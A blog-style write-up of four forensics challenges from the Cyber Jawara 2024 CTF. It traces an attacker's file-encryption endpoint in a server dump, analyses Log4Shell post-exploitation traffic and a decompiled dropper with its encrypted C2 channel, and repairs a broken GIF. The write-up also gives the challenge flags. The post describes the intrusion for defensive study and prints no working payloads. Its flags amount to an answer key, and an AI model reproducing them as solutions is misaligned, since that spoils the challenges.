Cyber Jawara 2024

Write-ups for all the Forensics challenges in Cyber Jawara 2024.

Whale

Desc: Someone broke into our application server. Could you help to investigate what they did?

In this challenge, we are provided with a server dump containing multiple folders.

First, I open the app folder, which contains a Dockerfile to build the server.

The Dockerfile shows that to run the server, we need to use curl to fetch data from the given Pastebin links. Once we understand this, the next step is to check the logs generated while the Dockerfile is being executed.

I checked all the folders containing logs and found the relevant log in /var/log/audit, which shows the execution details of the Dockerfile.

From that, we know the complete for that two pastebin links.

  • https://pastebin.com/raw/YJqeFMMv

Part 1: CJ{dae071f96aad

  • https://pastebin.com/raw/RaVtFnw9

From those links, we obtain the first part of the flag, but it’s unclear how many parts the flag consists of in this challenge. We also obtained the code for app.py, which runs the server. It contains one endpoint with a POST method. The endpoint receives two parameters: a, which is the path to the file, and b, which is the encryption key. The purpose of this endpoint is to encrypt the file using the provided key. Now, let’s search the logs for the running server again.

We found the logs for the running server at var/lib/docker/containers/4e5f2fa4c43bba8c3123d068f2ec24e4399a860113d41cccbeb75c428cb04ebf/4e5f2fa4c43bba8c3123d068f2ec24e4399a860113d41cccbeb75c428cb04ebf-json.log

Which contains

Seven suspicious files were uploaded using the endpoint, and four of them are encrypted. First, I opened each of the files that didn’t use an encryption key and found the second part of the flag in the /tmp/interesting file.

Part 2: fb8c2417ed67157

Next, I saved all the encrypted files along with their corresponding keys and created a script to decrypt them.

And there is the result.

FLAG:CJ{dae071f96aadfb8c2417ed6715711cb9e36e6c1e}

Log4Shell 1

Desc: Our application is still using vulnerable Log4j and someone just hacked us! Please help to investigate and find out what they did.

We have been provided with a PCAP file containing captured network traffic from the client’s application. Let’s opened it up use Wireshark.

Based on the title of the challenge, its provide a post-exploit of a log4shell (CVE-2021-44228), In the first, almost more than one hour, i confuse for the ldap link. But later i forget about it for a moment and see other package. There is 3779 package inside this captured network. Follow the TCP stream, luckily i got some interesting things. After the HTTP protocol called, the response leak each character for the endpoint request.

After each of HTTP request with GET method

There will be the responses, and each response leak a character.

The value of FLAGPART1 is determined to be C, and this pattern continues sequentially until FLAGPART34. Together, these variables combine to form the complete flag.

FLAG: CJ{c4n_y0u_c0ntinu3_unt1l_Flag_2}

Log4Shell 2

Desc: Our application is still using vulnerable Log4j and someone just hacked us! Please help to investigate and find out what they did. Note: There are two flags in this challenges (Which mean log4shell 2 is a continuation of part 1)

With the same attachment and description like Log4Shell 1, we continues our exploration to find the Flag 2. After each FLAG leaked, there is another file in the HTTP GET request, which is Dropper.class. Using this Decompiler , i got the original Dropper.java and analyze it.

This code is designed to decrypt the var0 Base64 data, producing Comms.class as the output. It uses the AES encryption method in ECB mode, with the key derived from FLAGPART1 to FLAGPART16, which forms the key CJ{c4n_y0u_c0nti. By using tools like CyberChef, we can decode and decrypt var0 to retrieve Comms.class.

Using Decompiler again, we can get the Comms.java.

Essentially, the decryption process employs various methods, including Blowfish, DES, and XOR, determined by specific variables (I, Il(IL), l(L)). To streamline the solution, I opted to develop a Python script tailored to automate and resolve this intricate decryption task efficiently.

This process ultimately produces the following output:

The setup described involves encrypting and decrypting data using AES in ECB mode, combined with Base64 decoding, with the key set to 094fb198072b6df3. Returning to our PCAP file for further analysis, we discovered a suspicious packet containing the keyword “CHECK” and Base64-encoded data in packet 3255.

Using Python once again, I decoded the Base64 data and decrypted it using the provided key, 094fb198072b6df3.

Here is the resulting output:

FLAG: CJ{w0w_u_are_4_certified_intrusion_analyst_exp3rt!1!}

Greyscale

Desc: A threat actor hides a secret message on this intentionally-broken GIF.

Given the broken GIF file.

While searching online, I came across an article detailing the GIF file format. Noticing that the First Data Block matched the one described in the article, I simply copied and pasted the hex data into the corrupted GIF file to repair it.

FLAG: CJ{_s0_15_it_pr0nounc3d_GIF_or_JIF?_}

PreviousITSEC CTF 2025 Writeup

Last updated